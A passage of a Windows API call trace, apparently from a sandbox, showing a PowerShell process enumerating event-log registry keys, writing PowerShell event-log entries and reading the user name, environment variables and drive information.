RegEnumKeyExW (in: hKey=0x35c, dwIndex=0x3, lpName=0x385950, lpcchName=0x1acec8, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="Key Management Service", lpcchName=0x1acec8, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0114.035] CoTaskMemFree (pv=0x385950) [0114.036] CoTaskMemFree (pv=0x0) [0114.036] CoTaskMemAlloc (cb=0x204) returned 0x385950 [0114.036] RegEnumKeyExW (in: hKey=0x35c, dwIndex=0x4, lpName=0x385950, lpcchName=0x1acec8, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="Media Center", lpcchName=0x1acec8, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0114.036] CoTaskMemFree (pv=0x385950) [0114.036] CoTaskMemFree (pv=0x0) [0114.036] CoTaskMemAlloc (cb=0x204) returned 0x385950 [0114.036] RegEnumKeyExW (in: hKey=0x35c, dwIndex=0x5, lpName=0x385950, lpcchName=0x1acec8, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="OAlerts", lpcchName=0x1acec8, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0114.036] CoTaskMemFree (pv=0x385950) [0114.036] CoTaskMemFree (pv=0x0) [0114.036] CoTaskMemAlloc (cb=0x204) returned 0x385950 [0114.036] RegEnumKeyExW (in: hKey=0x35c, dwIndex=0x6, lpName=0x385950, lpcchName=0x1acec8, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="Security", lpcchName=0x1acec8, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0114.036] CoTaskMemFree (pv=0x385950) [0114.036] CoTaskMemFree (pv=0x0) [0114.036] CoTaskMemAlloc (cb=0x204) returned 0x385950 [0114.036] RegEnumKeyExW (in: hKey=0x35c, dwIndex=0x7, lpName=0x385950, lpcchName=0x1acec8, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="System", lpcchName=0x1acec8, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0114.036] CoTaskMemFree (pv=0x385950) [0114.036] CoTaskMemFree (pv=0x0) [0114.036] CoTaskMemAlloc (cb=0x204) returned 0x385950 [0114.036] RegEnumKeyExW (in: hKey=0x35c, dwIndex=0x8, lpName=0x385950, lpcchName=0x1acec8, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="Windows PowerShell", lpcchName=0x1acec8, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0114.036] CoTaskMemFree (pv=0x385950) [0114.036] CoTaskMemFree (pv=0x0) [0114.036] RegOpenKeyExW (in: hKey=0x35c, lpSubKey="Application", ulOptions=0x0, samDesired=0x20019, phkResult=0x1acf28 | out: phkResult=0x1acf28*=0x360) returned 0x0 [0114.037] RegOpenKeyExW (in: hKey=0x360, lpSubKey="PowerShell", ulOptions=0x0, samDesired=0x20019, phkResult=0x1acf28 | out: phkResult=0x1acf28*=0x0) returned 0x2 [0114.037] RegOpenKeyExW (in: hKey=0x35c, lpSubKey="HardwareEvents", ulOptions=0x0, samDesired=0x20019, phkResult=0x1acf28 | out: phkResult=0x1acf28*=0x364) returned 0x0 [0114.037] RegOpenKeyExW (in: hKey=0x364, lpSubKey="PowerShell", ulOptions=0x0, samDesired=0x20019, phkResult=0x1acf28 | out: phkResult=0x1acf28*=0x0) returned 0x2 [0114.037] RegOpenKeyExW (in: hKey=0x35c, lpSubKey="Internet Explorer", ulOptions=0x0, samDesired=0x20019, phkResult=0x1acf28 | out: phkResult=0x1acf28*=0x368) returned 0x0 [0114.037] RegOpenKeyExW (in: hKey=0x368, lpSubKey="PowerShell", ulOptions=0x0, samDesired=0x20019, phkResult=0x1acf28 | out: phkResult=0x1acf28*=0x0) returned 0x2 [0114.037] RegOpenKeyExW (in: hKey=0x35c, lpSubKey="Key Management Service", ulOptions=0x0, samDesired=0x20019, phkResult=0x1acf28 | out: phkResult=0x1acf28*=0x36c) returned 0x0 [0114.037] RegOpenKeyExW (in: hKey=0x36c, lpSubKey="PowerShell", ulOptions=0x0, samDesired=0x20019, phkResult=0x1acf28 | out: phkResult=0x1acf28*=0x0) returned 0x2 [0114.038] RegOpenKeyExW (in: hKey=0x35c, lpSubKey="Media Center", ulOptions=0x0, samDesired=0x20019, phkResult=0x1acf28 | out: phkResult=0x1acf28*=0x370) returned 0x0 [0114.038] RegOpenKeyExW (in: hKey=0x370, lpSubKey="PowerShell", ulOptions=0x0, samDesired=0x20019, phkResult=0x1acf28 | out: phkResult=0x1acf28*=0x0) returned 0x2 [0114.038] RegOpenKeyExW (in: hKey=0x35c, lpSubKey="OAlerts", ulOptions=0x0, samDesired=0x20019, phkResult=0x1acf28 | out: phkResult=0x1acf28*=0x374) returned 0x0 [0114.039] RegOpenKeyExW (in: hKey=0x374, lpSubKey="PowerShell", ulOptions=0x0, samDesired=0x20019, phkResult=0x1acf28 | out: phkResult=0x1acf28*=0x0) returned 0x2 [0114.039] RegOpenKeyExW (in: hKey=0x35c, lpSubKey="Security", ulOptions=0x0, samDesired=0x20019, phkResult=0x1acf28 | out: phkResult=0x1acf28*=0x0) returned 0x5 [0114.051] RegOpenKeyExW (in: hKey=0x35c, lpSubKey="System", ulOptions=0x0, samDesired=0x20019, phkResult=0x1acf28 | out: phkResult=0x1acf28*=0x378) returned 0x0 [0114.052] RegOpenKeyExW (in: hKey=0x378, lpSubKey="PowerShell", ulOptions=0x0, samDesired=0x20019, phkResult=0x1acf28 | out: phkResult=0x1acf28*=0x0) returned 0x2 [0114.052] RegOpenKeyExW (in: hKey=0x35c, lpSubKey="Windows PowerShell", ulOptions=0x0, samDesired=0x20019, phkResult=0x1acf28 | out: phkResult=0x1acf28*=0x37c) returned 0x0 [0114.052] RegOpenKeyExW (in: hKey=0x37c, lpSubKey="PowerShell", ulOptions=0x0, samDesired=0x20019, phkResult=0x1acf28 | out: phkResult=0x1acf28*=0x380) returned 0x0 [0114.052] RegCloseKey (hKey=0x380) returned 0x0 [0114.052] RegCloseKey (hKey=0x35c) returned 0x0 [0114.053] RegCloseKey (hKey=0x37c) returned 0x0 [0114.053] RegOpenKeyExW (in: hKey=0xffffffff80000002, lpSubKey="SYSTEM\\CurrentControlSet\\Services\\EventLog", ulOptions=0x0, samDesired=0x20019, phkResult=0x1acec8 | out: phkResult=0x1acec8*=0x37c) returned 0x0 [0114.053] RegQueryInfoKeyW (in: hKey=0x37c, lpClass=0x0, lpcchClass=0x0, lpReserved=0x0, lpcSubKeys=0x1ace3c, lpcbMaxSubKeyLen=0x0, lpcbMaxClassLen=0x0, lpcValues=0x1ace38, lpcbMaxValueNameLen=0x0, lpcbMaxValueLen=0x0, lpcbSecurityDescriptor=0x0, lpftLastWriteTime=0x0 | out: lpClass=0x0, lpcchClass=0x0, lpcSubKeys=0x1ace3c*=0x9, lpcbMaxSubKeyLen=0x0, lpcbMaxClassLen=0x0, lpcValues=0x1ace38*=0x10, lpcbMaxValueNameLen=0x0, lpcbMaxValueLen=0x0, lpcbSecurityDescriptor=0x0, lpftLastWriteTime=0x0) returned 0x0 [0114.054] CoTaskMemFree (pv=0x0) [0114.054] CoTaskMemAlloc (cb=0x204) returned 0x385950 [0114.054] RegEnumKeyExW (in: hKey=0x37c, dwIndex=0x0, lpName=0x385950, lpcchName=0x1acec8, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="Application", lpcchName=0x1acec8, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0114.054] CoTaskMemFree (pv=0x385950) [0114.054] CoTaskMemFree (pv=0x0) [0114.054] CoTaskMemAlloc (cb=0x204) returned 0x385950 [0114.054] RegEnumKeyExW (in: hKey=0x37c, dwIndex=0x1, lpName=0x385950, lpcchName=0x1acec8, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="HardwareEvents", lpcchName=0x1acec8, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0114.054] CoTaskMemFree (pv=0x385950) [0114.054] CoTaskMemFree (pv=0x0) [0114.054] CoTaskMemAlloc (cb=0x204) returned 0x385950 [0114.054] RegEnumKeyExW (in: hKey=0x37c, dwIndex=0x2, lpName=0x385950, lpcchName=0x1acec8, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="Internet Explorer", lpcchName=0x1acec8, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0114.054] CoTaskMemFree (pv=0x385950) [0114.054] CoTaskMemFree (pv=0x0) [0114.054] CoTaskMemAlloc (cb=0x204) returned 0x385950 [0114.054] RegEnumKeyExW (in: hKey=0x37c, dwIndex=0x3, lpName=0x385950, lpcchName=0x1acec8, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="Key Management Service", lpcchName=0x1acec8, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0114.054] CoTaskMemFree (pv=0x385950) [0114.054] CoTaskMemFree (pv=0x0) [0114.054] CoTaskMemAlloc (cb=0x204) returned 0x385950 [0114.054] RegEnumKeyExW (in: hKey=0x37c, dwIndex=0x4, lpName=0x385950, lpcchName=0x1acec8, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="Media Center", lpcchName=0x1acec8, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0114.054] CoTaskMemFree (pv=0x385950) [0114.054] CoTaskMemFree (pv=0x0) [0114.054] CoTaskMemAlloc (cb=0x204) returned 0x385950 [0114.054] RegEnumKeyExW (in: hKey=0x37c, dwIndex=0x5, lpName=0x385950, lpcchName=0x1acec8, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="OAlerts", lpcchName=0x1acec8, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0114.054] CoTaskMemFree (pv=0x385950) [0114.055] CoTaskMemFree (pv=0x0) [0114.055] CoTaskMemAlloc (cb=0x204) returned 0x385950 [0114.055] RegEnumKeyExW (in: hKey=0x37c, dwIndex=0x6, lpName=0x385950, lpcchName=0x1acec8, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="Security", lpcchName=0x1acec8, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0114.055] CoTaskMemFree (pv=0x385950) [0114.055] CoTaskMemFree (pv=0x0) [0114.055] CoTaskMemAlloc (cb=0x204) returned 0x385950 [0114.055] RegEnumKeyExW (in: hKey=0x37c, dwIndex=0x7, lpName=0x385950, lpcchName=0x1acec8, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="System", lpcchName=0x1acec8, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0114.055] CoTaskMemFree (pv=0x385950) [0114.055] CoTaskMemFree (pv=0x0) [0114.055] CoTaskMemAlloc (cb=0x204) returned 0x385950 [0114.055] RegEnumKeyExW (in: hKey=0x37c, dwIndex=0x8, lpName=0x385950, lpcchName=0x1acec8, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="Windows PowerShell", lpcchName=0x1acec8, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0114.055] CoTaskMemFree (pv=0x385950) [0114.055] CoTaskMemFree (pv=0x0) [0114.055] RegOpenKeyExW (in: hKey=0x37c, lpSubKey="Application", ulOptions=0x0, samDesired=0x20019, phkResult=0x1acf28 | out: phkResult=0x1acf28*=0x35c) returned 0x0 [0114.055] RegOpenKeyExW (in: hKey=0x35c, lpSubKey="PowerShell", ulOptions=0x0, samDesired=0x20019, phkResult=0x1acf28 | out: phkResult=0x1acf28*=0x0) returned 0x2 [0114.055] RegOpenKeyExW (in: hKey=0x37c, lpSubKey="HardwareEvents", ulOptions=0x0, samDesired=0x20019, phkResult=0x1acf28 | out: phkResult=0x1acf28*=0x380) returned 0x0 [0114.055] RegOpenKeyExW (in: hKey=0x380, lpSubKey="PowerShell", ulOptions=0x0, samDesired=0x20019, phkResult=0x1acf28 | out: phkResult=0x1acf28*=0x0) returned 0x2 [0114.056] RegOpenKeyExW (in: hKey=0x37c, lpSubKey="Internet Explorer", ulOptions=0x0, samDesired=0x20019, phkResult=0x1acf28 | out: phkResult=0x1acf28*=0x384) returned 0x0 [0114.056] RegOpenKeyExW (in: hKey=0x384, lpSubKey="PowerShell", ulOptions=0x0, samDesired=0x20019, phkResult=0x1acf28 | out: phkResult=0x1acf28*=0x0) returned 0x2 [0114.056] RegOpenKeyExW (in: hKey=0x37c, lpSubKey="Key Management Service", ulOptions=0x0, samDesired=0x20019, phkResult=0x1acf28 | out: phkResult=0x1acf28*=0x388) returned 0x0 [0114.056] RegOpenKeyExW (in: hKey=0x388, lpSubKey="PowerShell", ulOptions=0x0, samDesired=0x20019, phkResult=0x1acf28 | out: phkResult=0x1acf28*=0x0) returned 0x2 [0114.056] RegOpenKeyExW (in: hKey=0x37c, lpSubKey="Media Center", ulOptions=0x0, samDesired=0x20019, phkResult=0x1acf28 | out: phkResult=0x1acf28*=0x38c) returned 0x0 [0114.056] RegOpenKeyExW (in: hKey=0x38c, lpSubKey="PowerShell", ulOptions=0x0, samDesired=0x20019, phkResult=0x1acf28 | out: phkResult=0x1acf28*=0x0) returned 0x2 [0114.056] RegOpenKeyExW (in: hKey=0x37c, lpSubKey="OAlerts", ulOptions=0x0, samDesired=0x20019, phkResult=0x1acf28 | out: phkResult=0x1acf28*=0x390) returned 0x0 [0114.057] RegOpenKeyExW (in: hKey=0x390, lpSubKey="PowerShell", ulOptions=0x0, samDesired=0x20019, phkResult=0x1acf28 | out: phkResult=0x1acf28*=0x0) returned 0x2 [0114.057] RegOpenKeyExW (in: hKey=0x37c, lpSubKey="Security", ulOptions=0x0, samDesired=0x20019, phkResult=0x1acf28 | out: phkResult=0x1acf28*=0x0) returned 0x5 [0114.067] RegOpenKeyExW (in: hKey=0x37c, lpSubKey="System", ulOptions=0x0, samDesired=0x20019, phkResult=0x1acf28 | out: phkResult=0x1acf28*=0x394) returned 0x0 [0114.067] RegOpenKeyExW (in: hKey=0x394, lpSubKey="PowerShell", ulOptions=0x0, samDesired=0x20019, phkResult=0x1acf28 | out: phkResult=0x1acf28*=0x0) returned 0x2 [0114.067] RegOpenKeyExW (in: hKey=0x37c, lpSubKey="Windows PowerShell", ulOptions=0x0, samDesired=0x20019, phkResult=0x1acf28 | out: phkResult=0x1acf28*=0x398) returned 0x0 [0114.068] RegOpenKeyExW (in: hKey=0x398, lpSubKey="PowerShell", ulOptions=0x0, samDesired=0x20019, phkResult=0x1acf28 | out: phkResult=0x1acf28*=0x39c) returned 0x0 [0114.068] RegCloseKey (hKey=0x39c) returned 0x0 [0114.068] RegCloseKey (hKey=0x37c) returned 0x0 [0114.068] RegCloseKey (hKey=0x398) returned 0x0 [0114.070] RegOpenKeyExW (in: hKey=0xffffffff80000002, lpSubKey="SYSTEM\\CurrentControlSet\\Services\\EventLog", ulOptions=0x0, samDesired=0x20019, phkResult=0x1ace98 | out: phkResult=0x1ace98*=0x398) returned 0x0 [0114.071] RegQueryInfoKeyW (in: hKey=0x398, lpClass=0x0, lpcchClass=0x0, lpReserved=0x0, lpcSubKeys=0x1ace0c, lpcbMaxSubKeyLen=0x0, lpcbMaxClassLen=0x0, lpcValues=0x1ace08, lpcbMaxValueNameLen=0x0, lpcbMaxValueLen=0x0, lpcbSecurityDescriptor=0x0, lpftLastWriteTime=0x0 | out: lpClass=0x0, lpcchClass=0x0, lpcSubKeys=0x1ace0c*=0x9, lpcbMaxSubKeyLen=0x0, lpcbMaxClassLen=0x0, lpcValues=0x1ace08*=0x10, lpcbMaxValueNameLen=0x0, lpcbMaxValueLen=0x0, lpcbSecurityDescriptor=0x0, lpftLastWriteTime=0x0) returned 0x0 [0114.071] CoTaskMemFree (pv=0x0) [0114.071] CoTaskMemAlloc (cb=0x204) returned 0x385950 [0114.071] RegEnumKeyExW (in: hKey=0x398, dwIndex=0x0, lpName=0x385950, lpcchName=0x1ace98, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="Application", lpcchName=0x1ace98, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0114.071] CoTaskMemFree (pv=0x385950) [0114.071] CoTaskMemFree (pv=0x0) [0114.071] CoTaskMemAlloc (cb=0x204) returned 0x385950 [0114.071] RegEnumKeyExW (in: hKey=0x398, dwIndex=0x1, lpName=0x385950, lpcchName=0x1ace98, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="HardwareEvents", lpcchName=0x1ace98, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0114.071] CoTaskMemFree (pv=0x385950) [0114.071] CoTaskMemFree (pv=0x0) [0114.071] CoTaskMemAlloc (cb=0x204) returned 0x385950 [0114.071] RegEnumKeyExW (in: hKey=0x398, dwIndex=0x2, lpName=0x385950, lpcchName=0x1ace98, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="Internet Explorer", lpcchName=0x1ace98, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0114.071] CoTaskMemFree (pv=0x385950) [0114.071] CoTaskMemFree (pv=0x0) [0114.071] CoTaskMemAlloc (cb=0x204) returned 0x385950 [0114.071] RegEnumKeyExW (in: hKey=0x398, dwIndex=0x3, lpName=0x385950, lpcchName=0x1ace98, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="Key Management Service", lpcchName=0x1ace98, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0114.071] CoTaskMemFree (pv=0x385950) [0114.071] CoTaskMemFree (pv=0x0) [0114.071] CoTaskMemAlloc (cb=0x204) returned 0x385950 [0114.071] RegEnumKeyExW (in: hKey=0x398, dwIndex=0x4, lpName=0x385950, lpcchName=0x1ace98, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="Media Center", lpcchName=0x1ace98, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0114.071] CoTaskMemFree (pv=0x385950) [0114.071] CoTaskMemFree (pv=0x0) [0114.071] CoTaskMemAlloc (cb=0x204) returned 0x385950 [0114.071] RegEnumKeyExW (in: hKey=0x398, dwIndex=0x5, lpName=0x385950, lpcchName=0x1ace98, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="OAlerts", lpcchName=0x1ace98, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0114.072] CoTaskMemFree (pv=0x385950) [0114.072] CoTaskMemFree (pv=0x0) [0114.072] CoTaskMemAlloc (cb=0x204) returned 0x385950 [0114.072] RegEnumKeyExW (in: hKey=0x398, dwIndex=0x6, lpName=0x385950, lpcchName=0x1ace98, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="Security", lpcchName=0x1ace98, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0114.072] CoTaskMemFree (pv=0x385950) [0114.072] CoTaskMemFree (pv=0x0) [0114.072] CoTaskMemAlloc (cb=0x204) returned 0x385950 [0114.072] RegEnumKeyExW (in: hKey=0x398, dwIndex=0x7, lpName=0x385950, lpcchName=0x1ace98, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="System", lpcchName=0x1ace98, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0114.072] CoTaskMemFree (pv=0x385950) [0114.072] CoTaskMemFree (pv=0x0) [0114.072] CoTaskMemAlloc (cb=0x204) returned 0x385950 [0114.072] RegEnumKeyExW (in: hKey=0x398, dwIndex=0x8, lpName=0x385950, lpcchName=0x1ace98, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="Windows PowerShell", lpcchName=0x1ace98, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0114.072] CoTaskMemFree (pv=0x385950) [0114.072] CoTaskMemFree (pv=0x0) [0114.072] RegOpenKeyExW (in: hKey=0x398, lpSubKey="Application", ulOptions=0x0, samDesired=0x20019, phkResult=0x1acef8 | out: phkResult=0x1acef8*=0x37c) returned 0x0 [0114.072] RegOpenKeyExW (in: hKey=0x37c, lpSubKey="PowerShell", ulOptions=0x0, samDesired=0x20019, phkResult=0x1acef8 | out: phkResult=0x1acef8*=0x0) returned 0x2 [0114.072] RegOpenKeyExW (in: hKey=0x398, lpSubKey="HardwareEvents", ulOptions=0x0, samDesired=0x20019, phkResult=0x1acef8 | out: phkResult=0x1acef8*=0x39c) returned 0x0 [0114.072] RegOpenKeyExW (in: hKey=0x39c, lpSubKey="PowerShell", ulOptions=0x0, samDesired=0x20019, phkResult=0x1acef8 | out: phkResult=0x1acef8*=0x0) returned 0x2 [0114.072] RegOpenKeyExW (in: hKey=0x398, lpSubKey="Internet Explorer", ulOptions=0x0, samDesired=0x20019, phkResult=0x1acef8 | out: phkResult=0x1acef8*=0x3a0) returned 0x0 [0114.073] RegOpenKeyExW (in: hKey=0x3a0, lpSubKey="PowerShell", ulOptions=0x0, samDesired=0x20019, phkResult=0x1acef8 | out: phkResult=0x1acef8*=0x0) returned 0x2 [0114.073] RegOpenKeyExW (in: hKey=0x398, lpSubKey="Key Management Service", ulOptions=0x0, samDesired=0x20019, phkResult=0x1acef8 | out: phkResult=0x1acef8*=0x3a4) returned 0x0 [0114.073] RegOpenKeyExW (in: hKey=0x3a4, lpSubKey="PowerShell", ulOptions=0x0, samDesired=0x20019, phkResult=0x1acef8 | out: phkResult=0x1acef8*=0x0) returned 0x2 [0114.073] RegOpenKeyExW (in: hKey=0x398, lpSubKey="Media Center", ulOptions=0x0, samDesired=0x20019, phkResult=0x1acef8 | out: phkResult=0x1acef8*=0x3a8) returned 0x0 [0114.073] RegOpenKeyExW (in: hKey=0x3a8, lpSubKey="PowerShell", ulOptions=0x0, samDesired=0x20019, phkResult=0x1acef8 | out: phkResult=0x1acef8*=0x0) returned 0x2 [0114.073] RegOpenKeyExW (in: hKey=0x398, lpSubKey="OAlerts", ulOptions=0x0, samDesired=0x20019, phkResult=0x1acef8 | out: phkResult=0x1acef8*=0x3ac) returned 0x0 [0114.073] RegOpenKeyExW (in: hKey=0x3ac, lpSubKey="PowerShell", ulOptions=0x0, samDesired=0x20019, phkResult=0x1acef8 | out: phkResult=0x1acef8*=0x0) returned 0x2 [0114.074] RegOpenKeyExW (in: hKey=0x398, lpSubKey="Security", ulOptions=0x0, samDesired=0x20019, phkResult=0x1acef8 | out: phkResult=0x1acef8*=0x0) returned 0x5 [0114.076] RegOpenKeyExW (in: hKey=0x398, lpSubKey="System", ulOptions=0x0, samDesired=0x20019, phkResult=0x1acef8 | out: phkResult=0x1acef8*=0x3b0) returned 0x0 [0114.076] RegOpenKeyExW (in: hKey=0x3b0, lpSubKey="PowerShell", ulOptions=0x0, samDesired=0x20019, phkResult=0x1acef8 | out: phkResult=0x1acef8*=0x0) returned 0x2 [0114.076] RegOpenKeyExW (in: hKey=0x398, lpSubKey="Windows PowerShell", ulOptions=0x0, samDesired=0x20019, phkResult=0x1acef8 | out: phkResult=0x1acef8*=0x3b4) returned 0x0 [0114.076] RegOpenKeyExW (in: hKey=0x3b4, lpSubKey="PowerShell", ulOptions=0x0, samDesired=0x20019, phkResult=0x1acef8 | out: phkResult=0x1acef8*=0x3b8) returned 0x0 [0114.076] RegCloseKey (hKey=0x3b8) returned 0x0 [0114.076] RegCloseKey (hKey=0x398) returned 0x0 [0114.077] RegCloseKey (hKey=0x3b4) returned 0x0 [0114.087] RegisterEventSourceW (lpUNCServerName=".", lpSourceName="PowerShell") returned 0x1b7f0008 [0114.089] ReportEventW (hEventLog=0x1b7f0008, wType=0x4, wCategory=0x6, dwEventID=0x258, lpUserSid=0x0, wNumStrings=0x3, dwDataSize=0x0, lpStrings=0x3d66f88*="WSMan", lpRawData=0x3d66cf8) returned 1 [0114.097] CoTaskMemAlloc (cb=0x104) returned 0x358750 [0114.097] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x358750, nSize=0x80 | out: lpBuffer="") returned 0x0 [0114.097] CoTaskMemFree (pv=0x358750) [0114.099] CoTaskMemAlloc (cb=0x804) returned 0x2c1a20 [0114.099] GetUserNameExW (in: NameFormat=0x2, lpNameBuffer=0x2c1a20, nSize=0x1ad188 | out: lpNameBuffer="YKYD69Q\\aETAdzjz", nSize=0x1ad188) returned 0x1 [0114.099] CoTaskMemFree (pv=0x2c1a20) [0114.099] CoTaskMemAlloc (cb=0x204) returned 0x385950 [0114.099] GetUserNameW (in: lpBuffer=0x385950, pcbBuffer=0x1ad1c8 | out: lpBuffer="aETAdzjz", pcbBuffer=0x1ad1c8) returned 1 [0114.099] CoTaskMemFree (pv=0x385950) [0114.099] ReportEventW (hEventLog=0x1b7f0008, wType=0x4, wCategory=0x6, dwEventID=0x258, lpUserSid=0x0, wNumStrings=0x3, dwDataSize=0x0, lpStrings=0x3d6c470*="Alias", lpRawData=0x3d6c200) returned 1 [0114.101] CoTaskMemAlloc (cb=0x104) returned 0x358750 [0114.101] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x358750, nSize=0x80 | out: lpBuffer="") returned 0x0 [0114.101] CoTaskMemFree (pv=0x358750) [0114.102] CoTaskMemAlloc (cb=0x804) returned 0x2c1a20 [0114.102] GetUserNameExW (in: NameFormat=0x2, lpNameBuffer=0x2c1a20, nSize=0x1ad188 | out: lpNameBuffer="YKYD69Q\\aETAdzjz", nSize=0x1ad188) returned 0x1 [0114.102] CoTaskMemFree (pv=0x2c1a20) [0114.102] CoTaskMemAlloc (cb=0x204) returned 0x385950 [0114.102] GetUserNameW (in: lpBuffer=0x385950, pcbBuffer=0x1ad1c8 | out: lpBuffer="aETAdzjz", pcbBuffer=0x1ad1c8) returned 1 [0114.102] CoTaskMemFree (pv=0x385950) [0114.103] ReportEventW (hEventLog=0x1b7f0008, wType=0x4, wCategory=0x6, dwEventID=0x258, lpUserSid=0x0, wNumStrings=0x3, dwDataSize=0x0, lpStrings=0x3d71a18*="Environment", lpRawData=0x3d717a8) returned 1 [0114.104] CoTaskMemAlloc (cb=0x104) returned 0x358750 [0114.104] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x358750, nSize=0x80 | out: lpBuffer="") returned 0x0 [0114.104] CoTaskMemFree (pv=0x358750) [0114.105] CoTaskMemAlloc (cb=0x104) returned 0x358750 [0114.105] GetEnvironmentVariableW (in: lpName="HOMEDRIVE", lpBuffer=0x358750, nSize=0x80 | out: lpBuffer="C:") returned 0x2 [0114.105] CoTaskMemFree (pv=0x358750) [0114.106] CoTaskMemAlloc (cb=0x104) returned 0x358750 [0114.106] GetEnvironmentVariableW (in: lpName="HOMEPATH", lpBuffer=0x358750, nSize=0x80 | out: lpBuffer="\\Users\\aETAdzjz") returned 0xf [0114.106] CoTaskMemFree (pv=0x358750) [0114.106] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz", nBufferLength=0x105, lpBuffer=0x1acd30, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz", lpFilePart=0x0) returned 0x11 [0114.106] SetErrorMode (uMode=0x1) returned 0x1 [0114.106] GetFileAttributesExW (in: lpFileName="C:\\Users\\aETAdzjz" (normalized: "c:\\users\\aetadzjz"), fInfoLevelId=0x0, lpFileInformation=0x1acf40 | out: lpFileInformation=0x1acf40*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x2329edc0, ftCreationTime.dwHighDateTime=0x1d2f180, ftLastAccessTime.dwLowDateTime=0x7d929a80, ftLastAccessTime.dwHighDateTime=0x1d2f182, ftLastWriteTime.dwLowDateTime=0x7d929a80, ftLastWriteTime.dwHighDateTime=0x1d2f182, nFileSizeHigh=0x0, nFileSizeLow=0x2000)) returned 1 [0114.106] SetErrorMode (uMode=0x1) returned 0x1 [0114.109] GetLogicalDrives () returned 0x4 [0114.111] GetFullPathNameW (in: lpFileName="C:\\.", nBufferLength=0x105, lpBuffer=0x1acaa0, lpFilePart=0x0 | out: lpBuffer="C:\\", lpFilePart=0x0) returned 0x3 [0114.113] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0114.113] SetErrorMode (uMode=0x1) returned 0x1 [0114.114] CoTaskMemAlloc (cb=0x68) returned 0x2878a90 [0114.114] CoTaskMemAlloc (cb=0x68) returned 0x28934a0 [0114.114] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x2878a90, nVolumeNameSize=0x32, lpVolumeSerialNumber=0x1acf10, lpMaximumComponentLength=0x1acf0c, lpFileSystemFlags=0x1acf08, 